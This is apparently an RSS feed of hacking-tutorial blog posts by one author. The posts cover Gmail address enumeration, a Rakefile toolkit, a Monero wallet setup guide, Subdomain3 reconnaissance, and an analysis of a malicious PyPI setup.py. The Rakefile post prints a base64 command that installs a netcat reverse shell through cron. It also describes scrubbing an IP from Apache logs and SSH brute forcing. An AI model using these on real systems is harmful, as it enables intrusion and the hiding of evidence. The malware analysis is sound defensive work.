            <content:encoded><![CDATA[<p>A couple of years ago I stumbled across this <a href="https://blog.0day.rocks/abusing-gmail-to-get-previously-unlisted-e-mail-addresses-41544b62b2">article</a>. The person who authored the page found an API end point that if a valid Gmail email is given, the response will include a set-cookie header. Recently I stumbled on this article again and decided to create a program that is able to check to see if a bunch of Gmail emails already exists.</p><p>This tool can be found<a href="https://github.com/Michael-Meade/GmailUserEnum"> here</a>.</p><p>Keep in mind that Gmail will send the set-cookie if the email exists, even if the Gmail account is inactive, banned or in use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*0f3e0er0Ea6dLWfZt3XNQw.png" /><figcaption>The help page</figcaption></figure><p>By default the program will read each line of emails.txt and run through the program. Each line in the emails.txt file should contain a Gmail email. The emails.txt file can be changed to a different file by running the following argument:</p><pre>ruby gmail.rb --list list_of_emails.txt</pre><p>By default the program will save any valid emails that were found in a file named gmails.txt . The --out argument can be used to change the name of the file that will save all the valid results.</p><pre>ruby gmail.rb --out valid_emails.txt</pre><h4>Installing the gems</h4><pre>gem install httparty<br>gem install optparse</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3b2eb547a7d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking with Rake]]></title>
            <link>https://systemweakness.com/hacking-with-rake-319005da6ad9?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/319005da6ad9</guid>
            <category><![CDATA[ruby]]></category>
            <category><![CDATA[rakefile]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Wed, 09 Feb 2022 19:57:55 GMT</pubDate>
            <atom:updated>2022-02-15T06:28:03.950Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking with Rakefile</h3><p><a href="https://github.com/ruby/rake"><em>Rake</em></a> is a utility that can be used to automate tasks. For example, if a program needs to be set up in a certain way. Rake could be used to prep the environment so that the program can run smoothly. Rakefiles are similar to makefiles, but it is written in Ruby and follows Ruby syntax.</p><p>This article will explain how to use the rakefile located <a href="https://github.com/Michael-Meade/HandyRakefile">here</a>. The rakefile is designed to help perform different hacking tasks.</p><p>This program has the following features:</p><ul><li>Remove Apache2 log entries that contain an IP.</li><li>Replacing the IP of Apache2 log entries with a randomly generated IP.</li><li>Port scan in pure Ruby</li><li>Generate a base64 encoded reverse shell</li><li>Crawl a site looking for URLs</li><li><strong>Clean:</strong> remove any .txt file in the current directory</li><li>Nmap UDP port scan</li><li>Nmap Service Scan</li><li>Forward SSH tunnel</li><li>SSH Brute force</li><li>Ping scan</li></ul><h4>Apache2 remove IP from log</h4><p>This feature will read the /var/log/access.log and remove the IP from the log.</p><p>To run this command enter the following command into your terminal:</p><pre>rake rmip[&quot;126.237.100.111&quot;]</pre><pre>ruby rakefile.rb --rmip 126.237.100.1111</pre><p>The command below will also remove the IP from the logs.</p><h4>Replace IP in Apache2 log</h4><p>Instead of removing the IP and logline, this feature will generate a random IP and replace the given IP in the log.</p><pre>rake replaceip[&quot;126.237.100.111&quot;]</pre><p>The command above will go through each line of the Apache2 log and replace any IPs that match “<strong>126.237.100.111</strong>” with a randomly generated IP.</p><pre>ruby rakefile.rb --replaceip 126.237.100.111</pre><h4>Port Scan</h4><p>To perform a port scan with rakefile, enter the following command into your terminal. This feature is multi-threaded so the port scan should be fast.</p><pre>rake ps[&quot;127.0.0.1&quot;]</pre><p>To perform a port scan on the target, enter the command above. In the example above the script will scan the IP 127.0.0.1.</p><p>The command below can also be used to run a port scan on a target.</p><pre>ruby rakefile.rb --ps 127.0.0.1</pre><p>If you get an error that says “Too many open files”, run the following command. I could not figure out a way to implement the command into the program to automatically run.</p><pre>ulimit -n 4000</pre><p>This will allow the script to open more sockets.</p><h4>Reverse Shell</h4><p>The reverse shell uses <a href="http://netcat.sourceforge.net/">Netcat</a> for the reverse shell</p><pre>rake rs[&quot;127.0.0.1&quot;,&quot;80&quot;]</pre><p>The command above will use rake to print out the command for the reverse shell. The user can then copy and paste into the terminal that they want the shell on.</p><pre>ruby rakefile.rb --rs 127.0.0.1 --port 80</pre><p>The command can be also ran by using the command above.</p><pre>echo -n &#39;IyEvYmluL2Jhc2gKICAgICAgICBsaW5lPSIqICogKiAqICogbmMgLWUgL2Jpbi9zaCAxMjcuMC4wLjEgODAiCiAgICAgICAgKGNyb250YWIgLXUgJCh3aG9hbWkpIC1sOyBlY2hvICIkbGluZSIgKSB8IGNyb250YWIgLXUgJCh3aG9hbWkpIC0=&#39; | base64 -d &gt;&gt; t.sh; bash t.sh; rm t.sh;</pre><p>The string above is what the output should look like, the script will take the IP and port that the user gave and add it to a bash script. Then the code will base64 the bash script and print out the string above.</p><p>When the command above is ran on a Linux system it will do the following:</p><ul><li>The code will decode the base64ed string and write the string to a file named t.sh.</li><li>The command will then run the t.sh script and remove the t.sh file.</li><li>The end result is that a cronjob is created that will connect to the netcat server every minute.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*LV7Y2n3lFooN5nNlR1ec8g.png" /><figcaption>`The cronjob that it creates</figcaption></figure><h4>Crawling sites</h4><pre>rake crawl[&quot;google.com&quot;]</pre><p>The command above will crawl google.com and save all the links that it finds in a text file.</p><pre>ruby rakefile.rb --crawl google.com</pre><p>Like all of the other tasks in the rakefile.rb this feature can be ran with command above.</p><h4>Clean</h4><pre>rake clean</pre><p>The clean task will remove any txt files that are in the current directory.</p><pre>ruby rakefile.rb --clean</pre><h4>Nmap UDP scan</h4><p>For this scan to work, make sure that Nmap is installed on your system. This can be done by entering the following command, sudo apt-get install nmap .</p><p>This feature will use Nmap’s -sU command to perform a UPD scan on the given IP. The tasks will save the contents of the scan into a text file named upd_scan.txt .</p><pre>rake udp[&quot;127.0.0.1&quot;]</pre><p>This tasks also allows the user to change the file name that the scan results are saved to. By default the task is coded to use udp_scan.txt .</p><pre>rake upd[&quot;127.0.0.1&quot;,&quot;updscan_1-26-2022.txt&quot;]</pre><p>The command above will save the contents of the scan into a file named updscan_1-26-2022.txt instead of the upd_scan.txt file.</p><pre>ruby rakefile.rb --upd 127.0.0.1</pre><h4>Nmap Service scan</h4><pre>rake sv[&quot;127.0.0.1&quot;]</pre><p>Nmap should be already installed on the machine. The command above will run a rake task that will perform a Nmap Service &amp; version scan. The code will save the contents of the scan in a file named sevrice_scan.txt .</p><p>The command can also be ran using the following command.</p><pre>ruby rakefile.rb --sv 127.0.0.1</pre><h4>Forward SSH Tunnel</h4><p>Using the <strong>net-ssh gem</strong>, this feature will create a forward SSH tunnel on the remote machine. For example, if I have a my Monero wallet RPC program running on a remote server. I can use the SSH tunnel so that I can access and call the RPC API. Even if I am not on the same network. This is handy because the Monero wallet port is not facing the internet and I do not have to worry about people trying to hack into my wallet and stealing my hard earned Monero.</p><pre>rake xmr[&quot;127.0.0.1&quot;,&quot;80&quot;,&quot;239.30.212.152&quot;,&quot;xmr&quot;]</pre><ul><li><strong>127.0.0.1</strong> is the local IP.</li></ul><p>This is the IP that all the traffic is forward to, it allows me to access the RPC API.</p><ul><li><strong>80</strong> is the local port.</li></ul><p>This is the port that I will listen on so I can access the RPC API.</p><ul><li><strong>239.30.212.152</strong> is the remote server</li></ul><p>This is the IP where I am running the Wallet. It must have a open SSH port for it to forward the traffic.</p><ul><li><strong>XMR</strong> is the SSH profile. This tells the program the login information that is needed so that it can successfully create the SSH tunnel. The information is stored in a JSON file.</li></ul><h4>SSH Brute force</h4><p>The SSH brute force features has the following options:</p><ul><li><strong>host</strong>: the IP of the sever to brute.</li><li><strong>ffile</strong>: Where valid logins are stored. By default the the is named “found.txt”. Stands for foundfile.</li><li><strong>wl</strong>: The wordlist that is used to brute force. By default the file name is brute.txt</li></ul><p>The wl file should be formatted that the username &amp; password are separated by a colon ( : ). A example is shown below.</p><pre>root:password</pre><p>Running the commands</p><pre>rake sshbrute[&quot;<strong>239.30.212.152</strong>&quot;]<br></pre><pre>ruby rakefile.rb --sshbrute <strong>239.30.212.152</strong></pre><h4>Ping Scan</h4><pre>rake pingscan[&quot;192.168.1.*&quot;]<br>ruby rakefile.rb --pingscan 192.168.1.*</pre><p>This will save the IPs that pinged back in a file named <strong>ping_ips.txt</strong>.</p><h4>Installing the needed gems</h4><pre>gem install net-ssh<br>gem install spidr<br>gem install net-scp<br>gem install net-ping</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=319005da6ad9" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hacking-with-rake-319005da6ad9">Hacking with Rake</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to keep Monero rpc wallet running 24/7]]></title>
            <link>https://medium.com/@michaelmeade3/how-to-keep-monero-rpc-wallet-running-24-7-d1287efdff74?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1287efdff74</guid>
            <category><![CDATA[monero]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[wallet]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Mon, 31 Jan 2022 21:16:36 GMT</pubDate>
            <atom:updated>2022-03-09T17:41:04.284Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*T9NFz_MbzgaNPjFPHk-2dg.png" /></figure><p>First download the latest version from <a href="https://www.getmonero.org/downloads/">Monero’s website</a>. This guide will be using Linux 64 bit.</p><p>To ensure that we have downloaded the correct legit Monero tar file and not a malicious one we have to make sure that the tar file matches the hash that is signed on Monero’s website. If one bit in the binaries are changed, the hash will be different than the one listed on Monero’s website. the The binaries are hashed using <a href="https://en.wikipedia.org/wiki/SHA-2">sha256</a> and the binaries hash sums are signed by with <a href="https://raw.githubusercontent.com/monero-project/monero/master/utils/gpg_keys/binaryfate.asc">BinaryFate’s public PGP key</a>.</p><p>The next step is importing BinaryFate’s public key into your keyring. We need to check to make sure the sha256 hashes are really signed by BinaryFate’s public key. If any other private key was used to sign the hash files, PGP will show that the signed message is not valid.</p><pre>gpg --import binaryfate.asc</pre><p>The command above will import Binaryfate’s key into your key ring.</p><p>Next use the following command to download this text file from Monero’s website.</p><pre>wget <a href="https://www.getmonero.org/downloads/hashes.txt">https://www.getmonero.org/downloads/hashes.txt</a></pre><p>The text file is signed by BinaryFate’s public key. After the file is finished downloading run the following command.</p><pre>gpg --verify t.txt</pre><p>If the hashes.txt was actually signed by BinaryFate’s key you should see that “good signature” like the snippet below.</p><pre>gpg: Signature made Fri 07 Jan 2022 15:43:55 GMT<br>gpg:                using RSA key 81AC591FE9C4B65C5806AFC3F0AF4D462A0BDF92<br>gpg: Good signature from &quot;binaryFate &lt;<a href="/service/mailto:binaryfate@getmonero.org">binaryfate@getmonero.org</a>&gt;&quot; [unknown]<br>gpg: WARNING: This key is not certified with a trusted signature!<br>gpg:          There is no indication that the signature belongs to the owner.<br>Primary key fingerprint: 81AC 591F E9C4 B65C 5806  AFC3 F0AF 4D46 2A0B DF92</pre><h4>Downloading Monero</h4><p>You can compile it yourself or download the <a href="https://github.com/monero-project/monero/releases">release </a>. The command below will use wget to download the .tar.bz2 file.</p><pre>wget <a href="https://downloads.getmonero.org/cli/monero-linux-x64-v0.17.3.0.tar.bz2">https://downloads.getmonero.org/cli/monero-linux-x64-v0.17.3.0.tar.bz2</a></pre><p>Now that the file is downloaded we have to check the hash of the file. The hash sum should match the one listed in the hashes.txt file. If one bit of the program is different the hash will not be the same.</p><p>Now that the file is downloaded we have to check the hash of the file. The hash sum should match the one listed in the hashes.txt file. If one bit of the program is different the hash will not be the same.</p><p>To get the hash sum of the file the command, <a href="https://linux.die.net/man/1/sha256sum">sha256</a> can be used. The command below can be used to get the hash sum of the file.</p><pre>sha256sum monero-linux-x64-v0.17.3.0.tar.bz2</pre><p>The output of the command above should look something like this. Remember that if a new version is uploaded the hash will be different.</p><pre>ac18ce3d1189410a5c175984827d5d601974733303411f6142296d647f6582ce  monero-linux-x64-v0.17.3.0.tar.bz2</pre><p>The hashsum of the file is <strong>ac18ce3d1189410a5c175984827d5d601974733303411f6142296d647f6582ce</strong> if we look at the hashes.txt files the hashsum matches the one listed in the file! That means its the legit file. Now that we know it is the legit Monero wallet we can use untar the folder.</p><p>Now that the tar.bz2 file is download we have to untar the file file. This can be done by running the command below.</p><pre>tar xf monero-linux-x64-v0.17.3.0.tar.bz2</pre><h4>Running Wallet RPC 24/7</h4><p><a href="https://github.com/tmux/tmux/"><em>Tmux</em></a> is a terminal multiplexer. It allows it’s users to switch between screens and keep programs running even after exiting the terminal.</p><p>To install tmux run the following command. The command to install tmux on other platforms can be found <a href="https://github.com/tmux/tmux/wiki/Installing">here</a></p><pre>apt install tmux</pre><p>Now that tmux is installed run the following command to start a tmux session:</p><pre>tmux new-session</pre><p>Now that a new session is created we can start the Monero rpc wallet using the command below. The command below will set the daemon to supportxmr.com’s public. If you are running your own node replace the support URL with the IP of your node. Also the --untrusted-daemon flag can be removed if you are using your own node, the untrusted-daemon flag was used because the program requires that the flag is passed because it is unsafe to use a public node and they want to make sure the user knows the dangers.</p><pre>./monero-wallet-rpc --rpc-bind-port 18089 --wallet-file wallet --password password --daemon-address <a href="http://node.supportxmr.com:18081/">http://node.supportxmr.com:18081</a> --untrusted-daemon --disable-rpc-login --rpc-bind-ip 127.0.0.1 --confirm-external-bind</pre><p>Change the value, ‘wallet’ to the name your Monero wallet.</p><p>After running the command above wait a little bit to make sure that there are not any errors. Once you are satisficed that the program is running, you can exit the terminal.</p><p>To double check that the wallet is still running, run the command below, this will display the open ports on your system. If the wallet is still running, you should see that the port 18089 or what ever port you used when you started the wallet is open.</p><pre>sudo lsof -i -P -n | grep LISTEN</pre><p>To open up the tmux session you created use following command.</p><pre>tmux attach -d</pre><p>After running the command you should be able to see the wallet running and be able to ctrl c if you want to stop the wallet.</p><h4>Keeping wallet alive with a Bash script and a Cronjob</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6f58dd1b3e39b9042662d190d0aff87b/href">https://medium.com/media/6f58dd1b3e39b9042662d190d0aff87b/href</a></iframe><p>Save the file as xmr_cron.sh in the Monero directory.</p><ul><li>ps -ef will get a list of all the running processes.</li><li>The list of processes are then grepped for the string monero-wallet-rpc .</li><li>The list is grepped with the -v flag which will remove any results that contain “grep”.</li><li>The wc command is used to get the number of line of the list.</li><li>The results of wc is saved the variable M .</li></ul><p>Next it will check to see if the variable M is equal to 0. If the variable M is equal to 0 that means that the monero-wallet-rpc program is not running. If the variable is equal to 0, then the code will run the command below.</p><pre>./monero-wallet-rpc --rpc-bind-port 18089 --wallet-file wallet --password password --daemon-address http://node.supportxmr.com:18081 --untrusted-daemon --disable-rpc-login --rpc-bind-ip 127.0.0.1 --confirm-external-bind</pre><p>Next we have to create a <a href="https://man7.org/linux/man-pages/man5/crontab.5.html">cronjob</a> that will run the bash script we created.</p><pre>* * * * * bash /xmr/monero-x86_64-linux-gnu-v0.17.3.0/xmr_rpc.sh &gt;/dev/null 2&gt;&amp;1</pre><p>The cronjob will above uses * * * * * , which means it will run every minute. To create the cronjob we have to enter crontab -e into your terminal and paste the cronjob above and save the file. If you successfully created the cronjob after you save the file you should see <em>crontab: installing new crontab.</em></p><p>The cronjob will run the bash script every minute to check to see if the monero-wallet-process is running, if it is not running it will start the program.</p><p>You can set it to any run at any intervals. These two sites can be used to help your create a cronjob. <a href="https://crontab.guru/examples.html">https://crontab.guru/examples.html</a> &amp; <a href="https://crontab-generator.org/">https://crontab-generator.or</a>g</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1287efdff74" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking with Subdomain3]]></title>
            <link>https://medium.com/@michaelmeade3/hacking-with-subdomain3-2311e6a745bb?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/2311e6a745bb</guid>
            <category><![CDATA[subdomain3]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Wed, 19 Jan 2022 17:26:29 GMT</pubDate>
            <atom:updated>2022-01-21T14:19:08.641Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*A5gHTsKLzZVDDo9N.gif" /></figure><p><a href="https://github.com/yanxiu0614/subdomain3">Subdomain3</a> is great tool that can be used to discover subdomains that belong to a website. The tool is written in Python3.</p><p>The first task when hacking any target is, doing reconnaissance on the target. This means finding as much as you can about the target such as all the services that they are running, all the associated subdomains, the open ports on the target.</p><p>A subdomain is a domain that is apart of another domain. A example of what a subdomain is shown below. This guide assumes that you are installing Subdomain3 on a Linux system. This tool can also be installed on Windows.<br>The first part will explain how to install Subdomain3. If you already have it installed you can skip the first part of this guide.</p><pre>api<a href="https://www.coca-cola.com/">.coca-cola.com</a></pre><p>When installing Subdomain3 you have two options. The first options is using git clone , the other option is to download the zip file and then unzip the zip file.</p><p>If you want to use git clone, then the first step is installing git on the computer. This step can can be skipped if you already have git installed.</p><pre>sudo apt-get install git</pre><p>The following command will install git on your system.</p><pre>sudo apt-get install python3</pre><p>Next we have to install Python3. This can be done by running the command above. The next step will download Subdomain3 using git.</p><pre>git clone https://github.com/yanxiu0614/subdomain3.git</pre><p>Next run the command above, this will download the source code of Subdomain3.</p><pre>cd subdomain3</pre><p>The command above will cd into the subdomain3 directory. This is needed because next we are going to install the modules that the project needs to run.</p><p>Before we install the modules we will need to install pip3. If you already have it installed on your system than you can skip this part.</p><pre>sudo apt-get -y install python3-pip</pre><p>The command above can be used to install pip3. This is needed to install the requirement.txt file.</p><p>After pip3 is installed run the following command.</p><pre>pip3 install -r requirement.txt</pre><p>The command above will install all the needed modules that make Subdomain3 work.</p><pre>python3 brutedns.py -d jetblue.com</pre><p>The command above will look for all of jetblue’s subdomains and save the results into a CSV file in the result directory.</p><p>Subdomain3 also allows the you to submit domains by text file. The command below can be used to scan a bunch of domains. Each line inside the t.txt file should have a different domain.</p><pre>python3 brutedns.py -f t.txt</pre><p>Domains can have multiple subdomains. When we look at the following domain, .uk is the first-level domain.</p><pre><em>monkey.co.uk</em></pre><p>.co is the second level domain, and monkey is the third level domain. All domains must have two levels. For example, with the domain banksy.com the first level domain is .com and the second level domain is Banksy.</p><p>Subdomain3 is able to look for different levels domains. To change the level that Subdomain3 will look for use the following command.</p><pre>python3 brutedns.py -d foxcorporation.com -l 3</pre><p>The command above will tell Subdomain3 to look for 3 leveled domains.</p><blockquote><a href="https://www.cloudflare.com/learning/dns/dns-records/dns-cname-record/">cnames</a> records must be pointed to a domain. For example, suppose blog.example.com has a CNAME record with a value of ‘example.com’ (without the ‘blog’). This means when a <a href="https://www.cloudflare.com/learning/dns/what-is-dns/">DNS</a> server hits the <a href="https://www.cloudflare.com/learning/dns/dns-records/">DNS records</a> for blog.example.com, it actually triggers another DNS lookup to example.com, returning example.com’s IP address via its A record. In this case we would say that example.com is the canonical name (or true name) of blog.example.com.</blockquote><p>The command below will save all the cnames to a file named cname.txt this file is located in the results directory.</p><pre>python3 brutedns.py -d foxcorporation.com -c y</pre><p><strong>Creating a script that runs Subdomain3 and NMAPs the found subdomains.</strong></p><pre>function save_file {<br>        if [[  $1 !=  &quot;DOMAIN&quot; ]]<br>        then<br>                echo &quot;$1&quot; &gt;&gt; &quot;domains.txt&quot;<br>        fi<br>}<br>function run_subdomain3 {<br>        python3 brutedns.py -d  &quot;$1&quot;<br>}</pre><pre>function run_nmap {<br>        nmap -iL domains.txt<br>}</pre><pre>if [[  $2 != &quot;-c&quot;  ]]; then<br>        if test -f &quot;domains.txt&quot;; then<br>                rm domains.txt<br>        fi<br>fi</pre><pre>run_subdomain3 $1</pre><pre>INPUT=$1</pre><pre>FILE=&quot;result/${INPUT}/${INPUT}.csv &quot;<br>while IFS=, read -r field1 field2<br>do<br>    save_file &quot;$field1&quot;<br>done &lt; $FILE</pre><pre>run_nmap</pre><p>The bash script above will parse the CSV file and save all the found subdomains into a text file named domains.txt.</p><p>First save the bash script in the directory where brutedns.py is. To run the bash script enter the following command into your terminal. Before running the bash script make sure that you run Subdomain3 on the domain.</p><p>bash scrape.sh jetblue.com</p><p>Replace the word jetblue.com with the domain that you have scanned earlier. After running the bash script a file named domains.txt should contain all the subdomains that where found with Subdomain3. Lastly the bash script will run a basic nmap scan on the subdomains found and print out the results.</p><p>If the argument -c is not supplied the script will delete the domains.txt file and create a new domains.txt file after finishing the Subdomain3 scan. If the -c argument is given the code will not delete the domains.txt file but append the newly found subdomains to the contents of the domains.txt file.</p><p>A example of the command is shown below.</p><pre>bash t.sh google.com -c</pre><p>The first step when attempting to bug bounty or even hack is to find out as much information about the target as you can. Subdomain3 is a great tool that allows the hacker to gather possible targets.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2311e6a745bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyzing Python Malware]]></title>
            <link>https://systemweakness.com/analyzing-python-malware-b3d0b3d1cb26?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3d0b3d1cb26</guid>
            <category><![CDATA[medusa]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Mon, 03 Jan 2022 15:18:18 GMT</pubDate>
            <atom:updated>2022-02-15T06:24:35.796Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/388/0*FmwAd0hHLw-dAaaY.gif" /></figure><p>The file name of the sample is <strong>setup.py</strong>. In Python the setup.py file is used to distribute Python packages. The file contains all the meta data for the module that allows the module to be setup on the user’s computer.</p><pre>#!/usr/bin/env python<br>&quot;&quot;&quot;<br>distutils/setuptools install script.<br>&quot;&quot;&quot;<br>import os<br>import refrom setuptools import find_packages, setupROOT = os.path.dirname(__file__)<br>VERSION_RE = re.compile(r&#39;&#39;&#39;__version__ = [&#39;&quot;]([0-9.]+)[&#39;&quot;]&#39;&#39;&#39;);<br>requires = [<br>    &#39;botocore&gt;=1.23.7,&lt;1.24.0&#39;,<br>    &#39;jmespath&gt;=0.7.1,&lt;1.0.0&#39;,<br>    &#39;s3transfer&gt;=0.5.0,&lt;0.6.0&#39;<br>]<br>def get_version():<br>    init = open(os.path.join(ROOT, &#39;boto3&#39;, &#39;__init__.py&#39;)).read()<br>    return VERSION_RE.search(init).group(1)setup(<br>    name=&#39;boto3&#39;,<br>    version=get_version(),<br>    description=&#39;The AWS SDK for Python&#39;,<br>    long_description=open(&#39;README.rst&#39;).read(),<br>    author=&#39;Amazon Web Services&#39;,<br>    url=&#39;<a href="https://github.com/boto/boto3&#39;">https://github.com/boto/boto3&#39;</a>,<br>    scripts=[],<br>    packages=find_packages(exclude=[&#39;tests*&#39;]),<br>    package_data={<br>        &#39;boto3&#39;: [<br>            &#39;data/aws/resources/*.json&#39;,<br>            &#39;examples/*.rst&#39;<br>        ]<br>    },<br>    include_package_data=True,<br>    install_requires=requires,<br>    license=&quot;Apache License 2.0&quot;,<br>    python_requires=&quot;&gt;= 3.6&quot;,<br>    classifiers=[<br>        &#39;Development Status :: 5 - Production/Stable&#39;,<br>        &#39;Intended Audience :: Developers&#39;,<br>        &#39;Natural Language :: English&#39;,<br>        &#39;License :: OSI Approved :: Apache Software License&#39;,<br>        &#39;Programming Language :: Python&#39;,<br>        &#39;Programming Language :: Python :: 3&#39;,<br>        &#39;Programming Language :: Python :: 3.6&#39;,<br>        &#39;Programming Language :: Python :: 3.7&#39;,<br>        &#39;Programming Language :: Python :: 3.8&#39;,<br>        &#39;Programming Language :: Python :: 3.9&#39;,<br>        &#39;Programming Language :: Python :: 3.10&#39;,<br>    ],<br>    project_urls={<br>        &#39;Documentation&#39;: &#39;<a href="https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#39;">https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#39;</a>,<br>        &#39;Source&#39;: &#39;<a href="https://github.com/boto/boto3&#39;">https://github.com/boto/boto3&#39;</a>,<br>    },<br>)</pre><p>The snippet above is the Python module part of the file. The threat actors took the legit <a href="https://github.com/boto/boto3">boto3</a> module and added code at the start of the file which runs the malicious code. When I searched the internet for the hash, I found a page that said that this malware was found in a malicious <a href="https://blog.sonatype.com/another-day-of-malware-malicious-botaa3-pypi-package">PyPI Package named botaa3</a></p><p>This <a href="https://www.hybrid-analysis.com/sample/ed38be6f910f2d8ac0e9d2ec26d2c9c6af10ad058437324f5da91ccdc4778e64/6197d99e4055b643c8120596">sample</a> was found on <a href="https://www.hybrid-analysis.com/">hybrid-analysis</a>, it was uploaded on 11/19/2021 at 17:06:51 (UTC). The site gave the sample a 50 out of 100 threat score. The AV percentage was 22%. The sample was labeled by as a generic trojan and the sha256 hash of the sample is ed38be6f910f2d8ac0e9d2ec26d2c9c6af10ad058437324f5da91ccdc4778e64.</p><h3>The sample</h3><p>I edited the sample by removing the exec in the script so that I could decode the <a href="https://base64.guru/learn/what-is-base64">base64</a> to get the Python code that was ran.</p><h3>Decoding the Base64</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c691b95aec93515c8b25f0ee76a2b5c4/href">https://medium.com/media/c691b95aec93515c8b25f0ee76a2b5c4/href</a></iframe><h3>CheckIn method</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*E85A0c3ycOgXY9XQ.png" /><figcaption>The checkIn method</figcaption></figure><p>The checkIn method</p><p>The check in method first creates a JSON hash that includes the following information.</p><ul><li>action</li><li>IP</li><li>os</li><li>user</li><li>host</li><li>domain</li><li>pid</li><li>uuid</li><li>arch</li><li>encryption_key</li><li>decryption_key</li></ul><p>The encryption &amp; decryption key is obtained by calling self.agent_config[&quot;enc_key&quot;][&quot;enc_key&quot;] &amp; self.agent_config[&quot;dec_key][&quot;dec_key&quot;]</p><p>The code uses self.agent_config[&quot;PayloadUUID&quot;] to get the victims uuuid. The code then combines the uuid with the data variable that contains the JSON hash. The code will then<a href="https://en.wikipedia.org/wiki/Base64"> base64</a> the two &amp; saves the output as a variable named encoded_data.</p><p>Next the code uses the makeRequest method to send the data to the command server via a POST request. The code will save the response it gets from the command server as the variable as decoded_data. The code checks to see if the word “status” is in the variable decoded_data. If decoded_data does include the word status the code will load the json and use Python’s replace method to remove the PayloadUuid, it saves the output as the variable UUID. Lastly the code change the UUID in the malwares config file with the variable UUID. The last thing the code does does is return True, If status is not included in the response from the command server then the code will return False.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*YWaNTdTuvlk59zgR.png" /><figcaption>The makeRequest method.</figcaption></figure><p>First the code reads config file using agent_config to get the headers. If the parameter method is set to “GET” then the malware will use Python’s <a href="https://docs.python.org/3/library/urllib.html">urllib</a> to send the request to the command server. To get the domain or IP of the control server the code uses the agent_config method to read the “server” value of the config file. The code does the same to get the ‘GetUrI’. The code also adds the data variable and the hdrs JSON hash that was created earlier.</p><p>If the method parameter is “POST” then the code will do the same thing as above but with the “POSTURI”.</p><p>Next the code reads proxyHost &amp; proxyPort from the config. The code will read ProxyHost and if the first 5 values are equal to https, the malware will use https. If the first 5 characters does not equal 5 then the malware will use http.</p><p>The last part of the script uses the agent_config to get ProxyUser &amp; ProxyPass to set up requests with a proxy using the login. After the code is finished setting up the proxy, the code will send the requests and save the response as out. The response is base64 encoded. If the parameter, method is set to GET then the code will use Python’s decode() method to make sure the response is <em>utf-8.</em></p><h3>Possible Commands</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/30/0*l-DFRoG_fdVLSo9z" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-o247_sMv8ZgoThN.png" /><figcaption>Some basic functionality</figcaption></figure><p>The malware allows the malware author to change directories on the victims filesystem, as well as copy file, use the <a href="https://man7.org/linux/man-pages/man1/cat.1.html">cat</a> command, the <a href="https://man7.org/linux/man-pages/man1/cd.1p.html">cd</a> command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*szEq6GLdIBgJXHWp.png" /></figure><p>The malware has the capabilities of running arbitrary commands on the victim’s computer. The code also allows the malware author to kill jobs, list jobs, return the victim’s env information and list modules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*blgOL9GrGJeUvtjw.png" /><figcaption>the code that allows the malware author to download files.</figcaption></figure><p>The download method will take a file and then break the file into chunks and send the file to the malware’s command &amp; control server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*z64HLNv3BSBneTGy.png" /></figure><p>The encrypt method first will read the agent_config to get the value, if the value is equal to aes256_hmac then the code will read the “enc_key” using agent_config &amp; base64 encoding the results. Lastly the code encrypts the data using the information gathered from the config file.</p><p>The decrypt method does the same thing as the encrypt method, it gathers the information from the config file.</p><p>The malware sample also has the capability of getting the victim’s OS version &amp; the computers username.</p><h3>Domain Info</h3><figure><img alt="" 